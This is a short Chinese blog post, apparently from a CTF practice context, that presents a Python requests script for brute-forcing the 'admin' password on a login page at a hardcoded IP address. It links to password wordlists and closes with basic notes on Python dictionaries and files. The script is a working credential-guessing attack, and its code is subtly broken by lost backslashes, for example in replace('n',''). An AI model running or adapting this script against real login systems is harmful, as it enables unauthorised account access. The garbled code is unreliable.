requets库实现爆破

暴力破解是最简单粗暴的方法，无论你的密码多么复杂，只要有足够的时间都可以破解。只是破解的效率主要就是取决于你字典的大小和有效性
这里贴几个字典：
https://gitee.com/XiuMulty/PasswordDic/tree/master
https://github.com/TheKingOfDuck/fuzzDicts/tree/master/passwordDict
下面就是爆破脚本

import requests

base_url = "http://114.67.175.224:17345/check.php"
payload = {}
payload["username"]="admin"
Fail = ""
num = 0
file = open("D:\dictionary\top100password.txt","rt")
for line in file:
    num = num+1
    line = line.replace("n","")
    payload["password"]=line
    res = requests.request("post",url=base_url,data=payload)
    res.encoding = "utf-8"
    if num==1:
        Fail = res.text
    else:
        if Fail == res.text:
            print(str(num)+"    "+str(res.status_code)+" "+line+" False")
        else:
            print("33[31m"+str(res.status_code)+" "+line+" Success"+"33[0m")
            break

通过这个脚本也熟悉了python的一些字典 *** 作

dict={}
dict['aaa']='str1'
dict.setdefault('bbb',123)  #若存在key 'bbb',则设置，没有则不添加该key
dict.pop('aaa')  #删除key “aaa” 
del dict['aaa']   #删除key “aaa”
dict.clear()       #清空dictd里面的值
dict['aaa']
dict.get('aaa')  #获取键为aaa的值
dict.items() #返回字典里面所有内容
dict['aaa'] = 'str2'  #重新赋值
dict.update(dict2) 将dict2和dict合并

还有python对文件的 *** 作

f = open("","r")
for line in f:
	print(line)